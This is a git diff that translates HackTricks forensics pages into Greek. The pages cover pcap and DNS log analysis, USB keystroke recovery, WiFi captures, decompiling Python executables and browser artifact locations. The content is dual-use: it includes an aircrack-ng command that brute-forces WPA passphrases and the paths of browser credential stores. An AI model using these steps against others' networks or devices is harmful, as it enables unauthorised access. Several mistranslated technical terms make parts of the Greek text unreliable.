1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### Πληροφορίες DNS ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -220,8 +193,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## Άλλες τεχνικές ανάλυσης pcap {{#ref}} dnscat-exfiltration.md @@ -237,10 +209,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index 9f63fbab3..6ad8b7470 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -1,12 +1,12 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection. +Αν έχετε ένα pcap μιας σύνδεσης USB με πολλές διακοπές, πιθανότατα είναι μια σύνδεση USB πληκτρολογίου. -A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` +Ένας φίλτρο wireshark όπως αυτός θα μπορούσε να είναι χρήσιμος: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` -It could be important to know that the data that starts with "02" is pressed using shift. +Είναι σημαντικό να γνωρίζετε ότι τα δεδομένα που ξεκινούν με "02" πατιούνται χρησιμοποιώντας shift. -You can read more information and find some scripts about how to analyse this in: +Μπορείτε να διαβάσετε περισσότερες πληροφορίες και να βρείτε μερικά σενάρια σχετικά με το πώς να αναλύσετε αυτό σε: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 9c3dba419..32b76f611 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,17 +1,15 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +Αν έχετε ένα pcap που περιέχει την επικοινωνία μέσω USB ενός πληκτρολογίου όπως το παρακάτω: ![](<../../../images/image (613).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication: - +Μπορείτε να χρησιμοποιήσετε το εργαλείο [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) για να αποκτήσετε ό,τι γράφτηκε στην επικοινωνία: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +Μπορείτε να διαβάσετε περισσότερες πληροφορίες και να βρείτε μερικά σενάρια σχετικά με το πώς να αναλύσετε αυτό σε: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 36413cf70..21fee567c 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,8 +1,8 @@ {{#include ../../../banners/hacktricks-training.md}} -# Check BSSIDs +# Έλεγχος BSSIDs -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +Όταν λάβετε μια καταγραφή της οποίας η κύρια κίνηση είναι Wifi χρησιμοποιώντας το WireShark, μπορείτε να αρχίσετε να ερευνάτε όλα τα SSIDs της καταγραφής με _Wireless --> WLAN Traffic_: ![](<../../../images/image (424).png>) @@ -10,29 +10,27 @@ When you receive a capture whose principal traffic is Wifi using WireShark you c ## Brute Force -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: - +Μία από τις στήλες της οθόνης αυτής υποδεικνύει αν **βρέθηκε οποιαδήποτε αυθεντικοποίηση μέσα στο pcap**. Αν αυτό ισχύει, μπορείτε να προσπαθήσετε να το σπάσετε με brute force χρησιμοποιώντας το `aircrack-ng`: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +Για παράδειγμα, θα ανακτήσει το WPA passphrase που προστατεύει ένα PSK (προ-μοιρασμένο κλειδί), το οποίο θα απαιτηθεί για να αποκρυπτογραφήσετε την κίνηση αργότερα. -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +# Δεδομένα σε Beacons / Παράπλευρη Κανάλι -# Data in Beacons / Side Channel +Εάν υποψιάζεστε ότι **δεδομένα διαρρέουν μέσα σε beacons ενός Wifi δικτύου**, μπορείτε να ελέγξετε τα beacons του δικτύου χρησιμοποιώντας ένα φίλτρο όπως το παρακάτω: `wlan contains `, ή `wlan.ssid == "NAMEofNETWORK"` αναζητώντας μέσα στα φιλτραρισμένα πακέτα για ύποπτες αλυσίδες. -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +# Βρείτε Άγνωστες Διευθύνσεις MAC σε Ένα Wifi Δίκτυο -# Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +Ο παρακάτω σύνδεσμος θα είναι χρήσιμος για να βρείτε τις **μηχανές που στέλνουν δεδομένα μέσα σε ένα Wifi Δίκτυο**: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +Εάν ήδη γνωρίζετε **διευθύνσεις MAC μπορείτε να τις αφαιρέσετε από την έξοδο** προσθέτοντας ελέγχους όπως αυτόν: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +Μόλις εντοπίσετε **άγνωστες διευθύνσεις MAC** που επικοινωνούν μέσα στο δίκτυο, μπορείτε να χρησιμοποιήσετε **φίλτρα** όπως το παρακάτω: `wlan.addr== && (ftp || http || ssh || telnet)` για να φιλτράρετε την κίνησή τους. Σημειώστε ότι τα φίλτρα ftp/http/ssh/telnet είναι χρήσιμα αν έχετε αποκρυπτογραφήσει την κίνηση. -# Decrypt Traffic +# Αποκρυπτογράφηση Κίνησης Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..268d8c571 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,61 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# Αποσυμπίεση των συμπιεσμένων εκτελέσιμων αρχείων python (exe, elf) - Ανάκτηση από .pyc {{#include ../../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## Από Συμπιεσμένο Εκτελέσιμο σε .pyc +Από ένα **ELF** συμπιεσμένο εκτελέσιμο μπορείτε να **πάρετε το .pyc** με: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +Σε ένα **python exe binary** που έχει μεταγλωττιστεί, μπορείτε να **πάρετε το .pyc** εκτελώντας: ```bash python pyinstxtractor.py executable.exe ``` +## Από .pyc σε κώδικα python -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +Για τα **.pyc** δεδομένα ("συμπιεσμένος" python) θα πρέπει να ξεκινήσετε προσπαθώντας να **εξαγάγετε** τον **αρχικό** **κώδικα** **python**: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**Βεβαιωθείτε** ότι το δυαδικό αρχείο έχει την **επέκταση** "**.pyc**" (αν όχι, το uncompyle6 δεν θα λειτουργήσει) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +Κατά την εκτέλεση του **uncompyle6** μπορεί να συναντήσετε τα **παρακάτω σφάλματα**: +### Σφάλμα: Άγνωστος μαγικός αριθμός 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +Για να το διορθώσετε, πρέπει να **προσθέσετε τον σωστό μαγικό αριθμό** στην αρχή του παραγόμενου αρχείου. -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**Οι μαγικοί αριθμοί διαφέρουν ανάλογα με την έκδοση της python**, για να αποκτήσετε τον μαγικό αριθμό της **python 3.8** θα χρειαστεί να **ανοίξετε ένα τερματικό python 3.8** και να εκτελέσετε: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +Ο **μαγικός αριθμός** σε αυτή την περίπτωση για python3.8 είναι **`0x550d0d0a`**, στη συνέχεια, για να διορθώσετε αυτό το σφάλμα θα χρειαστεί να **προσθέσετε** στην **αρχή** του **.pyc αρχείου** τα εξής bytes: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**Μόλις** έχετε **προσθέσει** αυτή την μαγική κεφαλίδα, το **σφάλμα θα πρέπει να διορθωθεί.** +Έτσι θα φαίνεται μια σωστά προστιθέμενη **.pyc python3.8 μαγική κεφαλίδα**: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### Σφάλμα: Αποσυμπίεση γενικών σφαλμάτων -### Error: Decompiling generic errors +**Άλλα σφάλματα** όπως: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` μπορεί να εμφανιστούν. -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +Αυτό πιθανώς σημαίνει ότι **δεν έχετε προσθέσει σωστά** τον μαγικό αριθμό ή ότι δεν έχετε **χρησιμοποιήσει** τον **σωστό μαγικό αριθμό**, οπότε βεβαιωθείτε ότι χρησιμοποιείτε τον σωστό (ή δοκιμάστε έναν νέο). -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +Ελέγξτε την τεκμηρίωση σφαλμάτων. -Check the previous error documentation. +## Αυτόματο Εργαλείο -## Automatic Tool +Το [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) λειτουργεί ως συνδυασμός αρκετών εργαλείων διαθέσιμων στην κοινότητα που έχουν σχεδιαστεί για να βοηθήσουν τους ερευνητές στην αποσυμπίεση και αποσυμπίεση εκτελέσιμων αρχείων γραμμένων σε Python, συγκεκριμένα αυτών που δημιουργήθηκαν με py2exe και pyinstaller. Περιλαμβάνει κανόνες YARA για να προσδιορίσει αν ένα εκτελέσιμο είναι βασισμένο σε Python και επιβεβαιώνει το εργαλείο δημιουργίας. -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: Όνομα αρχείου: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' δεν υπάρχει -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +Ένα κοινό πρόβλημα που συναντάται περιλαμβάνει ένα ατελές αρχείο bytecode Python που προκύπτει από τη **διαδικασία αποσυμπίεσης με unpy2exe ή pyinstxtractor**, το οποίο στη συνέχεια **αποτυγχάνει να αναγνωριστεί από το uncompyle6 λόγω έλλειψης αριθμού έκδοσης bytecode Python**. Για να αντιμετωπιστεί αυτό, έχει προστεθεί μια επιλογή prepend, η οποία προσθέτει τον απαραίτητο αριθμό έκδοσης bytecode Python, διευκολύνοντας τη διαδικασία αποσυμπίεσης. +Παράδειγμα του προβλήματος: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Ανάλυση της συναρμολόγησης python -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +Αν δεν μπορέσατε να εξαγάγετε τον "αρχικό" κώδικα python ακολουθώντας τα προηγούμενα βήματα, τότε μπορείτε να προσπαθήσετε να **εξαγάγετε** τη **συναρμολόγηση** (αλλά **δεν είναι πολύ περιγραφική**, οπότε **προσπαθήστε** να εξαγάγετε **ξανά** τον αρχικό κώδικα). Στο [εδώ](https://bits.theorem.co/protecting-a-python-codebase/) βρήκα έναν πολύ απλό κώδικα για να **αποσυναρμολογήσετε** το _.pyc_ δυαδικό (καλή τύχη στην κατανόηση της ροής του κώδικα). Αν το _.pyc_ είναι από python2, χρησιμοποιήστε python2: ```bash >>> import dis >>> import marshal @@ -145,34 +125,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Python σε Εκτελέσιμο -## Python to Executable +Για να ξεκινήσουμε, θα σας δείξουμε πώς μπορούν να μεταγλωττιστούν οι payloads σε py2exe και PyInstaller. -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### Για να δημιουργήσετε μια payload χρησιμοποιώντας py2exe: +1. Εγκαταστήστε το πακέτο py2exe από [http://www.py2exe.org/](http://www.py2exe.org) +2. Για την payload (σε αυτή την περίπτωση, θα την ονομάσουμε hello.py), χρησιμοποιήστε ένα σενάριο όπως αυτό που φαίνεται στην Εικόνα 1. Η επιλογή “bundle_files” με την τιμή 1 θα συνδυάσει τα πάντα, συμπεριλαμβανομένου του διερμηνέα Python, σε ένα exe. +3. Μόλις το σενάριο είναι έτοιμο, θα εκδώσουμε την εντολή “python setup.py py2exe”. Αυτό θα δημιουργήσει το εκτελέσιμο, ακριβώς όπως στην Εικόνα 2. ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +158,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +178,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### Για να δημιουργήσετε ένα payload χρησιμοποιώντας το PyInstaller: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. Εγκαταστήστε το PyInstaller χρησιμοποιώντας το pip (pip install pyinstaller). +2. Μετά από αυτό, θα εκδώσουμε την εντολή “pyinstaller –onefile hello.py” (υπενθύμιση ότι το ‘hello.py’ είναι το payload μας). Αυτό θα συγκεντρώσει τα πάντα σε ένα εκτελέσιμο αρχείο. ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## Αναφορές - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..d15d9f444 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Here you can find interesting tricks for specific file-types and/or software: +Εδώ μπορείτε να βρείτε ενδιαφέροντα κόλπα για συγκεκριμένους τύπους αρχείων και/ή λογισμικό: {{#ref}} .pyc.md diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index ba35ea1fd..757e99f9a 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -2,138 +2,128 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ## Browsers Artifacts -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. +Τα αποδεικτικά στοιχεία του προγράμματος περιήγησης περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους προγράμματα περιήγησης ιστού, όπως το ιστορικό πλοήγησης, τα σελιδοδείκτες και τα δεδομένα cache. Αυτά τα αποδεικτικά στοιχεία διατηρούνται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα μεταξύ των προγραμμάτων περιήγησης, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων. -Here's a summary of the most common browser artifacts: +Ακολουθεί μια σύνοψη των πιο κοινών αποδεικτικών στοιχείων του προγράμματος περιήγησης: -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **Ιστορικό Πλοήγησης**: Παρακολουθεί τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για την αναγνώριση επισκέψεων σε κακόβουλους ιστότοπους. +- **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας πληροφορίες όταν συνδυάζονται με το ιστορικό πλοήγησης. +- **Σελιδοδείκτες**: Ιστότοποι που αποθηκεύει ο χρήστης για γρήγορη πρόσβαση. +- **Επεκτάσεις και Πρόσθετα**: Επεκτάσεις προγράμματος περιήγησης ή πρόσθετα που έχει εγκαταστήσει ο χρήστης. +- **Cache**: Αποθηκεύει περιεχόμενο ιστού (π.χ., εικόνες, αρχεία JavaScript) για να βελτιώσει τους χρόνους φόρτωσης των ιστότοπων, πολύτιμο για την εγκληματολογική ανάλυση. +- **Συνδέσεις**: Αποθηκευμένα διαπιστευτήρια σύνδεσης. +- **Favicons**: Εικονίδια που σχετίζονται με ιστότοπους, που εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες σχετικά με τις επισκέψεις του χρήστη. +- **Συνεδρίες Προγράμματος Περιήγησης**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες προγράμματος περιήγησης. +- **Λήψεις**: Καταγραφές αρχείων που έχουν ληφθεί μέσω του προγράμματος περιήγησης. +- **Δεδομένα Φόρμας**: Πληροφορίες που εισάγονται σε φόρμες ιστού, αποθηκευμένες για μελλοντικές προτάσεις αυτόματης συμπλήρωσης. +- **Μικρογραφίες**: Εικόνες προεπισκόπησης ιστότοπων. +- **Custom Dictionary.txt**: Λέξεις που έχει προσθέσει ο χρήστης στο λεξικό του προγράμματος περιήγησης. ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Ο Firefox οργανώνει τα δεδομένα του χρήστη εντός προφίλ, που αποθηκεύονται σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +Ένα αρχείο `profiles.ini` εντός αυτών των καταλόγων καταγράφει τα προφίλ χρηστών. Τα δεδομένα κάθε προφίλ αποθηκεύονται σε έναν φάκελο που ονομάζεται στη μεταβλητή `Path` εντός του `profiles.ini`, που βρίσκεται στον ίδιο κατάλογο με το `profiles.ini` ίδιο. Εάν λείπει ο φάκελος ενός προφίλ, μπορεί να έχει διαγραφεί. -Within each profile folder, you can find several important files: +Μέσα σε κάθε φάκελο προφίλ, μπορείτε να βρείτε αρκετά σημαντικά αρχεία: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**: Αποθηκεύει ιστορικό, σελιδοδείκτες και λήψεις. Εργαλεία όπως το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) στα Windows μπορούν να έχουν πρόσβαση στα δεδομένα ιστορικού. +- Χρησιμοποιήστε συγκεκριμένα SQL queries για να εξαγάγετε πληροφορίες ιστορικού και λήψεων. +- **bookmarkbackups**: Περιέχει αντίγραφα ασφαλείας των σελιδοδεικτών. +- **formhistory.sqlite**: Αποθηκεύει δεδομένα φόρμας ιστού. +- **handlers.json**: Διαχειρίζεται τους χειριστές πρωτοκόλλων. +- **persdict.dat**: Λέξεις προσαρμοσμένου λεξικού. +- **addons.json** και **extensions.sqlite**: Πληροφορίες σχετικά με εγκατεστημένα πρόσθετα και επεκτάσεις. +- **cookies.sqlite**: Αποθήκευση cookies, με το [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) διαθέσιμο για επιθεώρηση στα Windows. +- **cache2/entries** ή **startupCache**: Δεδομένα cache, προσβάσιμα μέσω εργαλείων όπως 